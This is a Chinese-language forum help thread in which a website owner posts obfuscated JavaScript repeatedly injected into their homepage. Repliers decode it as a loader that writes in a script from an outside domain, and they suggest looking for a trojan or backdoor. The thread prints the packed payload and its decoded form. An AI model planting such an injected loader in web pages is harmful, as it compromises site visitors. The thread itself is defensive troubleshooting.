当前位置:论坛首页 > Linux面板 > 求助

网站首页老被劫持,每天下午首页html准时出现这个代码?

发表在 Linux面板2018-5-2 18:47 [复制链接] 4 1715

谁能解密下这个代码,是什么意思?<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('k["\\e\\c\\2\\m\\f\\8\\n\\0"]["\\5\\4\\9\\0\\8"](\'\\h\\1\\2\\4\\9\\6\\0 \\0\\l\\6\\8\\d\\7\\0\\8\\o\\0\\3\\g\\a\\s\\a\\1\\2\\4\\9\\6\\0\\7 \\1\\4\\2\\d\\7\\t\\0\\0\\6\\1\\r\\3\\3\\5\\5\\5\\b\\p\\2\\e\\a\\1\\i\\b\\2\\c\\f\\3\\5\\i\\q\\b\\g\\1\\7\\j\\h\\3\\1\\2\\4\\9\\6\\0\\j\');',30,30,'x74|x73|x63|x2f|x72|x77|x70|x22|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x6a|x3c|x38|x3e|window|x79|x75|x6e|x78|x62|x33|x3a|x76|x68'.split('|'),0,{}))
</script>
E`{HY7VIYL`(CGK_CXDDF]3.png
使用道具 举报 只看该作者 回复
发表于 2018-5-2 18:59:01 | 显示全部楼层
window["document"]["write"]('<script type=\"text/javascript\" src=\"https://www.bcdas8.com/w83.js\"></script>');
使用道具 举报 回复 支持 反对
发表于 2018-5-2 20:19:55 | 显示全部楼层
明显是被上了,查一下木马吧!

----------------------------------------------------------------------------------------------------
菜鸟团队技术博客点击联系
使用道具 举报 回复 支持 反对
发表于 2018-5-3 09:27:37 | 显示全部楼层
  1. < script type = "text/javascript" >
  2.     window["document"]["write"]('<script type="text/javascript" src="https://www.bcdas8.com/w83.js"></script>'); < /script>
复制代码


解码之后
使用道具 举报 回复 支持 反对
发表于 2018-5-3 11:11:15 | 显示全部楼层
查看是否有后门,也许被拿权了

如果是劫持https可以解决
使用道具 举报 回复 支持 反对
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急运维服务

响应时间:3分钟

问题处理方式:宝塔专家1对1服务

工作时间:工作日:9:00 - 18:30

宝塔专业团队为您解决服务器疑难问题

点击联系技术免费分析

工作时间:09:00至18:30

快速回复 返回顶部 返回列表